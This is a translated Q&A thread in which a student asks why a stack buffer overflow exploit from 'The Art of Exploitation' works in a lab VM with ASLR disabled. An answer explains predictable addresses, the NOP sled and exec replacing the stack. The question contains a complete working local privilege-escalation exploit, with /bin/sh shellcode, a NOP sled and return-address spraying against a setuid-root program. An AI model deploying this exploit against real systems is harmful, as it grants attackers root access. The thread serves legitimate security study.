1

我是一名计算机工程专业的学生,​​正在研究堆栈缓冲区溢出的工作原理。我正在阅读的书是 Jon Erickson 的 The Art of Exploitation(第 1 版)。为了练习我正在学习的内容,我在虚拟机中安装了 Damn Vulnerable Linux 发行版。我禁用了 ASRL (kernel.randomize_va_space = 0),我用GCC 3.4.6编译了以下代码,我正在使用GDB 6.6并且发行版的内核是2.6.20。我的电脑有一个英特尔处理器。易受攻击的程序 (test2) 由 root 创建并设置为 setuid。

易受攻击的代码如下:

//test2.c
int main(int argc, char *argv[])
{
char buffer[500];

strcpy(buffer, argv[1]);

return 0;
}

而由普通(非root)用户创建的利用代码如下:

//main.c
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;

offset = 0;
esp = sp();

ret = esp - offset;

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

buffer2 = malloc(600);

ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}

for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}

ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}

buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);

free(buffer2);

return 0;
}

该程序有效,它利用了 test2 中的缓冲区溢出漏洞并给了我一个 root shell。我不明白的是,即使在多次阅读这本书并试图在互联网上找到答案之后,为什么我们存储在变量esp中的堆栈指针的值是我们的 shellcode 的返回地址。我已经用 GDB 反汇编了程序,一切都按作者所说的那样工作,但我不明白为什么会发生这种情况。

我本来想向您展示反汇编程序的外观以及执行期间内存的外观,但是我无法从虚拟机上的来宾计算机复制/粘贴,也不允许在我的问题中插入图像。所以我只能尝试描述在程序 main (在 test2 中利用 BOF)执行期间发生的情况:

反汇编main,我看到堆栈上分配了28个字节(7个变量* 4个字节)。然后调用函数 sp() 并将堆栈指针的值存储在esp中。存储在变量 esp 中的值是0xbffff344。然后,如您所见,我们有一些 printf,我们将有效负载存储在 buffer2 中,然后我们调用 execl 函数,将 buffer2 作为参数传递。

现在 root shell 出现了,然后程序退出了。设置不同的偏移量后反汇编程序,我可以清楚地看到0xbffff344正是test2执行时存储有效载荷的地址。你能解释一下这是怎么发生的吗?execl 是否为 test2 程序设置了新的堆栈帧?在 main.c 中,只有 28 个字节分配在堆栈上,而在 test2 中,500 个字节分配在堆栈上(用于 buffer2)。那么我怎么知道我在 main.c 中得到的堆栈指针正是 shellcode 的返回地址呢?

如果我写了一些愚蠢的东西,我感谢你并道歉。

4

1 回答 1

2

你能解释一下这是怎么发生的吗?

当 ASLR 被禁用时,每个可执行文件都从相同的地址开始,因此给定堆栈指针,您可以猜测所需的偏移量以在 test2 中找到您的缓冲区位置。这也是 NOP 雪橇变得有用的地方,因为如果偏移量不是到 shellcode 的确切位移,它会给你多个可能的命中。

话虽如此,漏洞利用程序主函数中 ESP 的值是 test2 中已执行缓冲区的位置这一事实似乎不正确。您确定您只是没有误解 gdb 结果吗?

您应该能够使用以下方法计算缓冲区的偏移量:esp - 500 + 28。

请注意,使用此类公式时应始终戴上手套:编译器如何处理本地变量(大小、顺序等)可能会有所不同。

那么我怎么知道我在 main.c 中得到的堆栈指针正是 shellcode 的返回地址呢?

好吧,你没有。这取决于机器,程序的编译方式等。

execl 是否为 test2 程序设置了新的堆栈帧?

从 execve 手册页:

exec 系列函数应该用新的过程映像替换当前的过程映像。新映像应由称为新进程映像文件的常规可执行文件构成。成功的 exec 不会有任何返回,因为调用进程映像被新进程映像覆盖。

堆栈被 test2 的新堆栈覆盖。

希望能帮助到你 :)

于 2013-05-15T09:50:55.297 回答